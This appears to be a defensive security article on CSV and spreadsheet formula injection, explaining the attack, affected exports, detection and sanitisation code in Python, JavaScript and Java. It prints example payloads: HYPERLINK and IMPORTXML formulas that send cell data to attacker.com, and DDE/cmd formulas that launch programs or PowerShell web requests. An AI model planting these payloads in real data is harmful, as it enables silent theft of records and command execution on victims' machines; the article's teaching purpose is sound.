CSV and Formula Injection: When Your Export Function Is an Attack Vector

Spreadsheet formula injection turns user-controlled data exported to CSV or Excel into code execution in the victim's spreadsheet client. It's an often-overlooked vulnerability that affects any application with export functionality.

CSV injection (also called formula injection or spreadsheet formula injection) is the vulnerability class where user-supplied data, when exported to a spreadsheet format like CSV or XLSX and opened in a spreadsheet client, causes that client to execute attacker-controlled formulas. The victim is typically an internal user — an admin, HR staff member, or financial analyst — who exports data from your application and opens it in Excel or Google Sheets.

The OWASP designation is CWE-1236 (Improper Neutralization of Formula Elements in a CSV File). It consistently appears in bug bounty submissions and application security audits, and it’s consistently underestimated because the attack surface is at export time, not at the point of user input.

How the Attack Works

Spreadsheet applications like Microsoft Excel, LibreOffice Calc, and Google Sheets treat cells beginning with =, +, -, or @ as formula cells. When a CSV file is opened, any cell value beginning with these characters is evaluated as a formula, not displayed as text.

An attacker who controls data that ends up in an exported CSV can inject a formula that executes when the file is opened. Classic examples:

# Data entered by attacker in a "Name" or "Comment" field
=HYPERLINK("http://attacker.com/?data="&A1&"/"&B1,"Click here")

# DDE formula (Dynamic Data Exchange) — executes system commands on Windows
=DDE("cmd","/C calc.exe","")

# IMPORTXML exfiltration in Google Sheets
=IMPORTXML(CONCAT("https://attacker.com/?",CONCATENATE(A1:E1)),"/")

# PowerShell via cmd (older Excel configurations)
=cmd|' /C powershell -Command "Invoke-WebRequest https://attacker.com"'!A0

The DDE and command execution vectors require the victim to click through one or two warning dialogs in modern Excel versions. The hyperlink and data exfiltration vectors (particularly in Google Sheets) require no clicks — they execute on file open.

Real-World Impact

The most common exploited scenario is data exfiltration. An attacker registers for a service with a malicious name:

=HYPERLINK("http://attacker.com/collect?row="&ROW(),"John Smith")

When your admin exports the user list to CSV and opens it in Excel or Google Sheets, the formula fires, sending the contents of adjacent cells (email addresses, account types, internal IDs) to the attacker’s server. The admin sees “John Smith” displayed as a clickable link, notices nothing unusual, and the exfiltration is silent.

The server-side request forgery variant using IMPORTXML or IMPORTDATA in Google Sheets is particularly potent because Google’s servers, not the victim’s browser, make the outbound request — meaning it bypasses endpoint DLP controls that would catch outbound HTTP from the victim’s machine.

Affected Exports

Any export that produces CSV, XLSX, ODS, or TSV where the data includes user-controlled fields is potentially vulnerable:

  • User/customer lists exported by admins
  • Form submission exports
  • Support ticket or CRM exports
  • Log or audit trail exports in spreadsheet format
  • Invoice and financial record exports with customer-entered data
  • Comment or note fields anywhere in the application

Detection: Finding Injection Points

In a security review, look for any endpoint that produces CSV or spreadsheet output. Test it with these payloads in text input fields:

=1+1
=cmd|' /C calc'!A0
=HYPERLINK("http://requestbin.net/r/test123?a="&A1,"test")
+cmd|' /C dir'!A0
-2+3+cmd|' /C dir'!A0
@SUM(1+1)*cmd|' /C dir'!A0

If any of these appear in the exported file without modification, the export is unprotected.

Prevention

Option 1: Prefix all fields with a single quote (tab separator escape)

The tab character as a prefix prevents formula interpretation in most spreadsheet clients, but the simplest approach is to prefix every potentially user-supplied field with a single quote character '. In CSV context, this causes Excel to treat the cell as text even if it begins with =. Note: the single quote is not part of the visible cell content in Excel — it’s an escape character.

Python:

import csv

def sanitize_csv_field(value: str) -> str:
    """Prevent formula injection by prefixing formula-starting characters."""
    if isinstance(value, str) and value.startswith(('=', '+', '-', '@', '\t', '\r')):
        return "'" + value
    return value

def export_to_csv(data: list[dict], filename: str) -> None:
    with open(filename, 'w', newline='', encoding='utf-8-sig') as f:
        writer = csv.DictWriter(f, fieldnames=data[0].keys())
        writer.writeheader()
        for row in data:
            sanitized = {k: sanitize_csv_field(str(v)) for k, v in row.items()}
            writer.writerow(sanitized)

JavaScript (Node.js):

function sanitizeCsvField(value) {
  const str = String(value);
  if ([`=`, `+`, `-`, `@`, `\t`, `\r`].some(ch => str.startsWith(ch))) {
    return `'${str}`;
  }
  return str;
}

function rowsToCsv(rows) {
  return rows.map(row =>
    Object.values(row)
      .map(v => {
        const sanitized = sanitizeCsvField(v);
        // Wrap in quotes if contains comma, quote, or newline
        if (/[",\n\r]/.test(sanitized)) {
          return `"${sanitized.replace(/"/g, '""')}"`;
        }
        return sanitized;
      })
      .join(',')
  ).join('\n');
}

Java:

public static String sanitizeCsvField(String value) {
    if (value == null) return "";
    String[] dangerousStarts = {"=", "+", "-", "@", "\t", "\r"};
    for (String prefix : dangerousStarts) {
        if (value.startsWith(prefix)) {
            return "'" + value;
        }
    }
    return value;
}

Option 2: Use a library that handles escaping

Apache Commons CSV (Java) and the csv module in Python’s standard library do not sanitise formula injection by default — they handle CSV structural escaping (quotes, commas, newlines) but not spreadsheet formula interpretation. You still need to apply the sanitization above, or use a library specifically designed for secure export like:

  • Python: xlsxwriter with cell type enforcement (worksheet.write_string() rather than worksheet.write())
  • JavaScript: xlsx (SheetJS) with explicit string cell types (t: 's')
  • Java: Apache POI with CellType.STRING enforcement

Option 3: Enforce cell data types in XLSX output

When generating XLSX rather than CSV, use strong cell typing so that user content is always stored as a string type, never as a formula:

Python with openpyxl:

from openpyxl import Workbook
from openpyxl.cell.cell import TYPE_STRING

wb = Workbook()
ws = wb.active
for row_data in data:
    row = []
    for value in row_data:
        cell = ws.cell(row=ws.max_row + 1, column=1, value=str(value))
        cell.data_type = TYPE_STRING  # Force string type — no formula evaluation
        row.append(cell)

What NOT to Do

  • Do not rely on input validation at the form layer alone. Users can store formula-containing content in databases through many paths (API, bulk import, migration) that bypass UI validation.
  • Do not assume file extension prevents execution. A .csv file opened by double-clicking in Windows will open in Excel and evaluate formulas regardless of extension.
  • Do not strip only =. The +, -, @, \t, and \r characters are also formula triggers in various spreadsheet clients.

Testing Checklist

  • All export endpoints identified (CSV, XLSX, TSV, ODS)
  • All user-controlled fields enumerated per export
  • Injection payload tested in each field type
  • Sanitization applied at export generation time, not at input time
  • XLSX exports use strong cell typing where possible
  • Security controls documented in API/integration specifications for downstream consumers